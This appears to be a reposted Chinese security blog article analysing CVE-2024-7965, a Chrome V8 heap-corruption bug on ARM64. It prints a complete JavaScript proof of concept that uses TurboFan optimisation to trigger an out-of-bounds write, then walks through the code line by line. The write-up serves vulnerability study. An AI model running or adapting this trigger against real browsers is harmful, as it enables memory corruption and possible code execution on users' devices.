CVE-2024-7965 Chrome 浏览器漏洞

简介:

    128.0.6613.84之前的谷歌Chrome V8中不恰当的实现让远程攻击者可以通过精心设计的HTML页面对堆损坏进行潜在的攻击。

    这是V8中仅在ARM64中出现的漏洞

(Chromium安全级别:高)

代码与分析:

var arrx = new Array(150);
arrx[0] = 1.1;
var fake = new Uint32Array(10);fake[0]= 1;fake[1] =3;fake[2]=2;fake[3] = 4;fake[4] = 5;fake[5] = 6;fake[6] = 7;fake[7] = 8;fake[8] = 9;
var tahir = 0x1;
function poc(a) { var oob_array = new Array(5); oob_array[0] = 0x500; let just_a_variable = fake[0]; let another_variable3 = fake[7]; if(a % 7 == 0) another_variable3 = 0xff00000000; //spray high bytes another_variable3 = Math.max(another_variable3,tahir); another_variable3 = another_variable3 >>> 0; var index = fake[3]; var for_phi_modes = fake[6]; let c = fake[1]; //giant loop for generate cyclic graph for(var i =0;i<10;i++) { if( a % 3 == 0){ just_a_variable = c; } if( a % 37 == 0) { just_a_variable = fake[2]; } if( a % 11 == 0){ just_a_variable = fake[8]; } if( a % 17 == 0){ just_a_variable = fake[5]; } if( a % 19 == 0){ just_a_variable = fake[4]; } if( a % 7 == 0 && i>=5){ for_phi_modes = just_a_variable; just_a_variable = another_variable3; } if(i>=6){ for(let j=0;j<5;j++){ if(a % 5 == 0) { index = for_phi_modes; oob_array[index] = 0x500; //zero extends before getting value } } } for_phi_modes = c; c = just_a_variable; } //zero extend return [index,BigInt(just_a_variable)];}
for(let i = 2; i<0x500;i++) { poc(i); //compile using turbofan}
poc(7*5);

    这个脚本是一个为 ARM64 设备设计的漏洞利用原型(PoC),用于触发 CVE-2024-7965 漏洞。

    通过复杂的数组操作和循环逻辑,企图达到越界访问或者修改内存的目的,从而可能实现任意代码执行。

    脚本的核心部分是利用 TurboFan 编译器优化的特性,通过特定的数据操作来破坏内存结构。接下来对代码进行详细分析。


1、初始化数组 arrx 和 fake:

var arrx = new Array(150);arrx[0] = 1.1;

这里初始化了一个长度为 150 的数组 arrx,并给第一个元素赋值为 1.1。由于 JavaScript 数组可以存储不同类型的元素,所以数组 arrx 在这个阶段是浮点型。

var fake = new Uint32Array(10);

fake 是一个长度为 10 的 Uint32Array(无符号 32 位整数数组),被用来存储一些初始值。后续的漏洞利用会使用这些数据进行内存操作。


2、定义变量 tahir 和 poc 函数:

var tahir = 0x1;


tahir 是一个简单的常量,赋值为 0x1。

function poc(a) {  var oob_array = new Array(5);  oob_array[0] = 0x500;

函数 poc 接受一个参数 a。函数内部首先定义了一个长度为 5 的数组 oob_array,并为其第一个元素赋值 0x500。oob_array 可能在后续的逻辑中被用于越界访问(out-of-bounds)。

3、控制流程与数据操作:

let just_a_variable = fake[0];let another_variable3 = fake[7];if(a % 7 == 0)  another_variable3 = 0xff00000000; //喷洒高位字节

这里从 fake 数组中取出元素赋值给 just_a_variable 和 another_variable3。如果 a 能被 7 整除,another_variable3 将被赋值为 0xff00000000,这可以被看作是一次 “喷洒” 高位字节的操作,目的是操纵内存布局。

another_variable3 = Math.max(another_variable3, tahir);another_variable3 = another_variable3 >>> 0;

这里将 another_variable3 与 tahir 进行比较,取较大的值,并通过 >>> 0 操作将其转换为无符号整数。

4、核心循环逻辑:

for(var i = 0; i < 10; i++) {  if (a % 3 == 0) just_a_variable = c;  if (a % 37 == 0) just_a_variable = fake[2];  if (a % 11 == 0) just_a_variable = fake[8];  ...

这是一个长度为 10 的循环,依赖 a 的取值来决定不同的操作。这些操作包括条件性地修改 just_a_variable,并且涉及到 fake 数组的元素。通过多种条件的组合,试图在内存布局中创建某种有利于攻击的结构,可能利用编译器在循环优化时产生的漏洞。


5、越界写入:

if (i >= 6) {  for (let j = 0; j < 5; j++) {    if (a % 5 == 0) {      index = for_phi_modes;      oob_array[index] = 0x500; //越界写入操作    }  }}

这里的操作特别危险,index 可能是通过伪造数据(for_phi_modes)控制的,如果 index 超出数组 oob_array 的范围,这将会导致越界写入(out-of-bounds write),从而可能覆写其他内存区域的数据。

6、调用与利用:

for (let i = 2; i < 0x500; i++) {  poc(i); //通过 TurboFan 编译器优化}

脚本最后通过多次调用 poc 函数,并且特意让 TurboFan 编译器优化这些循环调用。在一些优化过程中,编译器可能未能处理好边界条件,导致安全问题。

关键点分析

TurboFan 编译器优化:TurboFan 是 V8 引擎中的优化编译器,通过频繁调用 poc 函数,脚本试图诱导 TurboFan 生成的代码在边界检查上产生漏洞,从而实现越界访问或写入。

内存破坏:通过复杂的条件控制流,脚本试图创建出一种可以操纵内存指针的情况(如 index 和 for_phi_modes),从而进行越界写入,可能导致内存破坏,进一步用于任意代码执行。

条件分支与循环:脚本中多次使用复杂的条件判断和循环逻辑来混淆内存操作,可能意在规避一些简单的防护机制,并诱导编译器优化过程中出现漏洞。


总结

该 PoC 的主要目的是在 ARM64 设备上利用 V8 引擎中的漏洞,尤其是通过 TurboFan 编译器的优化过程中诱导越界内存操作。通过操控数组的索引和复杂的条件流,攻击者试图触发漏洞并达到任意代码执行的目的。



原文始发于微信公众号(洛米唯熊):CVE-2024-7965 Chrome 浏览器漏洞

版权声明:admin 发表于 2024年9月19日 下午9:44。
转载请注明:CVE-2024-7965 Chrome 浏览器漏洞 | CTF导航

相关文章